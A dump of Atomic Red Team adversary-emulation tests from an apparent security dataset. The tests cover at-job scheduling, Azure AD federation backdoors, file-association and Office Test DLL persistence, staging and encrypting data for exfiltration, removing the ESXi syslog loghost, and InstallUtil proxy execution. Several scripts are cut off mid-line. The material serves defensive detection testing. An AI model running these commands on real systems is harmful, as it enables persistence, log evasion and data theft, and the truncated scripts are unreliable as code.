deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1053.002: Scheduled Task/Job: At
Test: At - Schedule a job
Platforms: linux
Executor: sh

Description:
This test submits a command to be run in the future by the `at` daemon.


Command:
echo "#{at_command}" | at #{time_spec}

Dependencies:
The `at` and `atd` executables must exist in the PATH

The `atd` daemon must be running
Atomic Red Team — T1053.002: Scheduled Task/Job: At
Test: At - Schedule a job via kubectl in a Pod
Platforms: containers
Executor: bash

Description:
Launches a short-lived Ubuntu pod, installs the `at` utility, starts the `atd` daemon,
and submits a job with `at`. The pod is deleted after execution.


Command:
kubectl run #{pod_name} --image=#{image_name} --restart=Never --attach --rm -i -- bash -lc "apt-get update -y >/dev/null 2>&1 && apt-get install -y at >/dev/null 2>&1 && (atd || /usr/sbin/atd) && echo '#{at_command}' | at #{time_spec} && at -l"


Dependencies:
kubectl must be installed and configured
Atomic Red Team — T1484.002: Domain Trust Modification
Test: Add Federation to Azure AD
Platforms: azure-ad
Executor: powershell

Description:
Add a new federated domain to Azure AD using PowerShell.
The malicious domain to be federated must be configured beforehand (outside of the scope of this test):
    1. Open Azure Portal
    2. Add a new "custom domain name"
    3. Verify the domain by following instructions (i.e. create the requested DNS record)


Command:
Import-Module AzureAD
Import-Module AADInternals

$PWord = ConvertTo-SecureString -String "#{azure_password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{azure_username}", $Pword

try {
  Connect-AzureAD -Credential $Credential -ErrorAction Stop > $null
}
catch {
  Write-Host "Error: AzureAD could not connect"
  exit 1
}

try {
  $domain = Get-AzureADDomain -Name "#{domain_name}"
}
catch {
  Write-Host "Error: domain ""#{domain_name}"" not found"
  exit 1
}
if (-Not $domain.IsVerified) {
  Write-Host "Error: domain ""#{domain_name}"" not verified"
  exit 1
}

if ($domain.AuthenticationType -eq "Federated") {
  Write-Host "Error: domain ""#{domain_name}"" already federated. Try with a different domain or re-create it befo

Cleanup:
try {
  Import-Module AzureAD -ErrorAction Ignore

  $PWord = ConvertTo-SecureString -String "#{azure_password}" -AsPlainText -Force
  $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{azure_username}", $Pword
  Connect-AzureAD -Credential $Credential -Err

Dependencies:
AzureAD and AADInternals Powershell modules must be installed.
Atomic Red Team — T1546.001: Event Triggered Execution: Change Default File Association
Test: Change Default File Association
Platforms: windows
Executor: command_prompt

Description:
Change Default File Association From cmd.exe of hta to notepad.

Upon successful execution, cmd.exe will change the file association of .hta to notepad.exe. 


Command:
assoc #{extension_to_change}=#{target_extension_handler}


Cleanup:
assoc  #{extension_to_change}=#{original_extension_handler}
# T1546.001 - Event Triggered Execution: Change Default File Association

## Description from ATT&CK

> Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.
> 
> System file associations are listed under <code>HKEY_CLASSES_ROOT\.[extension]</code>, for example <code>HKEY_CLASSES_ROOT\.txt</code>. The entries point to a handler for that extension located at <code>HKEY_CLASSES_ROOT\\[handler]</code>. The various commands are then listed as subkeys underneath the shell key at <code>HKEY_CLASSES_ROOT\\[handler]\shell\\[action]\command</code>. For example:
> 
> * <code>HKEY_CLASSES_ROOT\txtfile\shell\open\command</code>
> * <code>HKEY_CLASSES_ROOT\txtfile\shell\print\command</code>
> * <code>HKEY_CLASSES_ROOT\txtfile\shell\printto\command</code>
> 
> The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)

[Source](https://attack.mitre.org/techniques/T1546/001)

## Atomic Tests

- [Atomic Test #1: Change Default File Association](#atomic-test-1-change-default-file-association)

### Atomic Test #1: Change Default File Association

Change Default File Association From cmd.exe of hta to notepad.

Upon successful execution, cmd.exe will change the file association of .hta to notepad.exe.

**Supported Platforms:** Windows

**auto_generated_guid:** `10a08978-2045-4d62-8c42-1957bbbea102`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| target_extension_handler | txtfile maps to notepad.exe | path | txtfile|
| extension_to_change | File Extension To Hijack | string | .hta|
| original_extension_handler | File Extension To Revert | string | htafile|

#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```cmd
assoc #{extension_to_change}=#{target_extension_handler}
```

#### Cleanup Commands

```cmd
assoc  #{extension_to_change}=#{original_extension_handler}
```
Atomic Red Team — T1137.002: Office Application Startup: Office Test
Test: Office Application Startup Test Persistence (HKCU)
Platforms: windows
Executor: powershell

Description:
Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office
application is started. Key is used for debugging purposes. Not created by default & exist in HKCU & HKLM hives.


Command:
$wdApp = New-Object -COMObject "Word.Application"
if(-not $wdApp.path.contains("Program Files (x86)"))  
{
  Write-Host "64-bit Office"
  reg add "HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf" /t REG_SZ /d "PathToAtomicsFolder\T1137.002\bin\officetest_x64.dll" /f       
}
else{
  Write-Host "32-bit Office"
  reg add "HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf" /t REG_SZ /d "PathToAtomicsFolder\T1137.002\bin\officetest_x86.dll" /f
}
Stop-Process -Name "WinWord" 
Start-Process "WinWord"


Cleanup:
Stop-Process -Name "notepad","WinWord" -ErrorAction Ignore
Remove-Item "HKCU:\Software\Microsoft\Office test\Special\Perf" -ErrorAction Ignore

Dependencies:
Microsoft Word must be installed

DLL files must exist on disk at specified location
Atomic Red Team — T1560.001: Archive Collected Data: Archive via Utility
Test: Compress Data for Exfiltration With Rar
Platforms: windows
Executor: command_prompt

Description:
An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration.
When the test completes you should find the txt files from the %USERPROFILE% directory compressed in a file called T1560.001-data.rar in the %USERPROFILE% directory 


Command:
"#{rar_exe}" a -r #{output_file} #{input_path}\*#{file_extension}


Cleanup:
del /f /q /s #{output_file} >nul 2>&1


Dependencies:
Rar tool must be installed at specified location (#{rar_exe})
Atomic Red Team — T1560.001: Archive Collected Data: Archive via Utility
Test: Compress Data and lock with password for Exfiltration with winrar
Platforms: windows
Executor: command_prompt

Description:
Note: Requires winrar installation
rar a -p"blue" hello.rar (VARIANT)


Command:
mkdir .\tmp\victim-files
cd .\tmp\victim-files
echo "This file will be encrypted" > .\encrypted_file.txt
"#{rar_exe}" a -hp"blue" hello.rar
dir


Dependencies:
Rar tool must be installed at specified location (#{rar_exe})
Atomic Red Team — T1560.001: Archive Collected Data: Archive via Utility
Test: Compress Data and lock with password for Exfiltration with winzip
Platforms: windows
Executor: command_prompt

Description:
Note: Requires winzip installation
wzzip sample.zip -s"blueblue" *.txt (VARIANT)


Command:
path=%path%;"C:\Program Files (x86)\winzip"
mkdir .\tmp\victim-files
cd .\tmp\victim-files
echo "This file will be encrypted" > .\encrypted_file.txt
"#{winzip_exe}" -min -a -s"hello" archive.zip *
dir


Dependencies:
Winzip must be installed
Atomic Red Team — T1560.001: Archive Collected Data: Archive via Utility
Test: Compress Data and lock with password for Exfiltration with 7zip
Platforms: windows
Executor: command_prompt

Description:
Note: This test requires 7zip installation


Command:
mkdir $PathToAtomicsFolder\T1560.001\victim-files
cd $PathToAtomicsFolder\T1560.001\victim-files
echo "This file will be encrypted" > .\encrypted_file.txt
"#{7zip_exe}" u archive.7z *txt -pblue
dir


Cleanup:
rmdir /s /Q $PathToAtomicsFolder\T1560.001\victim-files >nul 2>&1


Dependencies:
7zip tool must be installed at specified location (#{7zip_exe})
Atomic Red Team — T1560.001: Archive Collected Data: Archive via Utility
Test: Data Compressed - nix - zip
Platforms: linux, macos
Executor: bash

Description:
An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration. This test uses standard zip compression.


Command:
zip #{output_file} #{input_files}


Cleanup:
rm -f #{output_file}


Dependencies:
Files to zip must exist (#{input_files})
Atomic Red Team — T1560.001: Archive Collected Data: Archive via Utility
Test: Data Compressed - nix - gzip Single File
Platforms: linux, macos
Executor: sh

Description:
An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration. This test uses standard gzip compression.


Command:
test -e #{input_file} && gzip -k #{input_file} || (echo '#{input_content}' >> #{input_file}; gzip -k #{input_file})


Cleanup:
rm -f #{input_file}.gz
Atomic Red Team — T1560.001: Archive Collected Data: Archive via Utility
Test: Data Compressed - nix - tar Folder or File
Platforms: linux, macos
Executor: sh

Description:
An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration. This test uses standard gzip compression.


Command:
tar -cvzf #{output_file} #{input_file_folder}


Cleanup:
rm -f #{output_file}


Dependencies:
Folder to zip must exist (#{input_file_folder})
Atomic Red Team — T1560.001: Archive Collected Data: Archive via Utility
Test: Data Encrypted with zip and gpg symmetric
Platforms: linux, macos
Executor: sh

Description:
Encrypt data for exiltration


Command:
mkdir -p #{test_folder}
cd #{test_folder}; touch a b c d e f g
zip --password "#{encryption_password}" #{test_folder}/#{test_file} ./*
echo "#{encryption_password}" | gpg --batch --yes --passphrase-fd 0 --output #{test_folder}/#{test_file}.zip.gpg -c #{test_folder}/#{test_file}.zip
ls -l #{test_folder}


Cleanup:
rm -Rf #{test_folder}


Dependencies:
gpg and zip are required to run the test.
Atomic Red Team — T1560.001: Archive Collected Data: Archive via Utility
Test: Encrypts collected data with AES-256 and Base64
Platforms: linux, macos
Executor: bash

Description:
An adversary may compress all the collected data, encrypt and send them to a C2 server using base64 encoding. 
This atomic test tries to emulate the behaviour of the FLEXIROOT backdoor to archive the collected data. FLEXIROOT typically utilizes AES encryption and base64 encoding to transfer the encrypted data to the C2 server. 
In this test, standard zip compression and the OpenSSL library are used to encrypt the compressed data.
https://attack.mitre.org/versions/v7/software/S0267/

Command:
zip -r  #{input_folder}/#{input_file}.zip #{input_folder}
openssl enc -aes-256-cbc -pass pass:#{enc_pass} -p -in #{input_folder}/#{input_file}.zip -out #{input_folder}/#{input_file}.enc 
cat #{input_folder}/#{input_file}.enc | base64

Cleanup:
rm -rf #{input_folder}

Dependencies:
The folder and test files must exist
Atomic Red Team — T1560.001: Archive Collected Data: Archive via Utility
Test: ESXi - Remove Syslog remote IP
Platforms: windows
Executor: powershell

Description:
An adversary may edit the syslog config to remove the loghost in order to prevent or redirect logs being received by SIEM.


Command:
# Extract line with IP address from the syslog configuration output
#{plink_file} -ssh #{vm_host} -l #{username} -pw #{password} -m PathToAtomicsFolder\..\atomics\T1560.001\src\esxi_get_loghost.txt | findstr /r "[0-9]*\.[0-9]*\.[0-9]*\." > c:\temp\loghost.txt

# Replace the IP with "0"
#{plink_file} -ssh #{vm_host} -l #{username} -pw #{password} -m PathToAtomicsFolder\..\atomics\T1560.001\src\esxi_remove_loghost.txt

# Extract the IP from the line extracted from findstr
$inputFilePath = "c:\temp\loghost.txt"
$outputFilePath = "c:\temp\loghost_ip.txt"

$fileContent = Get-Content -Path $inputFilePath -Raw

if ([string]::IsNullOrWhiteSpace($fileContent)) {
    Write-Host "The content is $fileContent"
    Write-Host "The file is empty"
} else {
    # Use a regular expression to extract IP addr

Cleanup:
# Re-add the initially extracted IP
#{plink_file} -ssh #{vm_host} -l #{username} -pw #{password} -m c:\temp\loghost_ip.txt

rm c:\temp\loghost_ip.txt
rm c:\temp\loghost.txt


Dependencies:
The plink executable must be found in the ExternalPayloads folder.
Atomic Red Team — T1560.001: Archive Collected Data: Archive via Utility
Test: Compress a File for Exfiltration using Makecab
Platforms: windows
Executor: command_prompt

Description:
An adversary may compress data using Makecab (in-built Windows binary) that is collected prior to exfiltration.
[reference](https://unit42.paloaltonetworks.com/exchange-server-credential-harvesting/)


Command:
makecab.exe #{input_file} #{output_file}


Cleanup:
del #{output_file}


Dependencies:
A sample file for compression must be located at specified location (#{input_file})
Atomic Red Team — T1560.001: Archive Collected Data: Archive via Utility
Test: Copy and Compress AppData Folder
Platforms: windows
Executor: powershell

Description:
Copies the AppData folder, compresses it, and cleans up temporary files.


Command:
$AppData="$env:USERPROFILE\AppData"
$Copy="#{destination_folder}"
$Zip="#{zip_file_path}"

if (Test-Path $Copy) { Remove-Item $Copy -Recurse -Force }
New-Item -ItemType Directory -Path $Copy | Out-Null

Get-ChildItem $AppData -Recurse -Force | ForEach-Object {
  $rel = $_.FullName.Substring($AppData.Length + 1)
  $dest = Join-Path $Copy $rel
  if ($_.PSIsContainer) { New-Item -ItemType Directory -Path $dest -Force | Out-Null }
  else { Copy-Item $_.FullName -Destination $dest -Force -ErrorAction SilentlyContinue }
}

Add-Type -AssemblyName System.IO.Compression.FileSystem
[System.IO.Compression.ZipFile]::CreateFromDirectory($Copy, $Zip, [System.IO.Compression.CompressionLevel]::Optimal, $false)


Dependencies:
Requires admin and .NET compression libraries
Atomic Red Team — T1218.004: Signed Binary Proxy Execution: InstallUtil
Test: CheckIfInstallable method call
Platforms: windows
Executor: powershell

Description:
Executes the CheckIfInstallable class constructor runner instead of executing InstallUtil. Upon execution, the InstallUtil test harness will be executed.
If no output is displayed the test executed successfuly.


Command:
# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
. "#{test_harness}"

$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName

$ExpectedOutput = 'Constructor_'

$TestArgs = @{
    OutputAssemblyDirectory = $InstallerAssemblyDir
    OutputAssemblyFileName = $InstallerAssemblyFileName
    InvocationMethod = '#{invocation_method}'
}

$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly

if ($ActualOutput -ne $ExpectedOutput) {
    throw @"
CheckIfInstallable method execution test failure. Installer assembly execution output did not match the expected output.
Expected: $ExpectedOu

Cleanup:
$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore


Dependencies:
InstallUtil test harness script must be installed at specified location (#{test_harness})
Atomic Red Team — T1218.004: Signed Binary Proxy Execution: InstallUtil
Test: InstallHelper method call
Platforms: windows
Executor: powershell

Description:
Executes the InstallHelper class constructor runner instead of executing InstallUtil. Upon execution, no output will be displayed if the test
executed successfuly.


Command:
# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
. "#{test_harness}"

$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName

$CommandLine = "/logfile= /logtoconsole=false `"$InstallerAssemblyFullPath`""
$ExpectedOutput = 'Constructor_'

$TestArgs = @{
    OutputAssemblyDirectory = $InstallerAssemblyDir
    OutputAssemblyFileName = $InstallerAssemblyFileName
    InvocationMethod = '#{invocation_method}'
    CommandLine = $CommandLine
}

$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly

if ($ActualOutput -ne $ExpectedOutput) {
    throw @"
InstallHelper method execution te

Cleanup:
$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore


Dependencies:
InstallUtil test harness script must be installed at specified location (#{test_harness})
Atomic Red Team — T1218.004: Signed Binary Proxy Execution: InstallUtil
Test: InstallUtil class constructor method call
Platforms: windows
Executor: powershell

Description:
Executes the installer assembly class constructor. Upon execution, version information will be displayed the .NET framework install utility.


Command:
# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
. "#{test_harness}"

$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName

$CommandLine = "/logfile= /logtoconsole=false `"$InstallerAssemblyFullPath`""
$ExpectedOutput = 'Constructor_'

$TestArgs = @{
    OutputAssemblyDirectory = $InstallerAssemblyDir
    OutputAssemblyFileName = $InstallerAssemblyFileName
    InvocationMethod = '#{invocation_method}'
    CommandLine = $CommandLine
}

$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly

if ($ActualOutput -ne $ExpectedOutput) {
    throw @"
InstallUtil class constructor exe

Cleanup:
$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore


Dependencies:
InstallUtil test harness script must be installed at specified location (#{test_harness})
Atomic Red Team — T1218.004: Signed Binary Proxy Execution: InstallUtil
Test: InstallUtil Install method call
Platforms: windows
Executor: powershell

Description:
Executes the Install Method. Upon execution, version information will be displayed the .NET framework install utility.


Command:
# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
. "#{test_harness}"

$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName

$CommandLine = "/logfile= /logtoconsole=false /installtype=notransaction /action=install `"$InstallerAssemblyFullPath`""
$ExpectedOutput = 'Constructor_Install_'

$TestArgs = @{
    OutputAssemblyDirectory = $InstallerAssemblyDir
    OutputAssemblyFileName = $InstallerAssemblyFileName
    InvocationMethod = '#{invocation_method}'
    CommandLine = $CommandLine
}

$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs

if ($ActualOutput -ne $ExpectedOutput) {
    throw @"
Insta

Cleanup:
$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore


Dependencies:
InstallUtil test harness script must be installed at specified location (#{test_harness})
Atomic Red Team — T1218.004: Signed Binary Proxy Execution: InstallUtil
Test: InstallUtil Uninstall method call - /U variant
Platforms: windows
Executor: powershell

Description:
Executes the Uninstall Method. Upon execution, version information will be displayed the .NET framework install utility.


Command:
# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
. "#{test_harness}"

$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName

$CommandLine = "/logfile= /logtoconsole=false /U `"$InstallerAssemblyFullPath`""
$ExpectedOutput = 'Constructor_Uninstall_'

$TestArgs = @{
    OutputAssemblyDirectory = $InstallerAssemblyDir
    OutputAssemblyFileName = $InstallerAssemblyFileName
    InvocationMethod = '#{invocation_method}'
    CommandLine = $CommandLine
}

$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs

if ($ActualOutput -ne $ExpectedOutput) {
    throw @"
InstallUtil Uninstall method execution test

Cleanup:
$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore


Dependencies:
InstallUtil test harness script must be installed at specified location (#{test_harness})
Atomic Red Team — T1218.004: Signed Binary Proxy Execution: InstallUtil
Test: InstallUtil Uninstall method call - '/installtype=notransaction /action=uninstall' variant
Platforms: windows
Executor: powershell

Description:
Executes the Uninstall Method. Upon execution, version information will be displayed the .NET framework install utility.


Command:
# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
. "#{test_harness}"

$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName

$CommandLine = "/logfile= /logtoconsole=false /installtype=notransaction /action=uninstall `"$InstallerAssemblyFullPath`""
$ExpectedOutput = 'Constructor_Uninstall_'

$TestArgs = @{
    OutputAssemblyDirectory = $InstallerAssemblyDir
    OutputAssemblyFileName = $InstallerAssemblyFileName
    InvocationMethod = '#{invocation_method}'
    CommandLine = $CommandLine
}

$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs

if ($ActualOutput -ne $ExpectedOutput) {
    throw @"
I

Cleanup:
$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore


Dependencies:
InstallUtil test harness script must be installed at specified location (#{test_harness})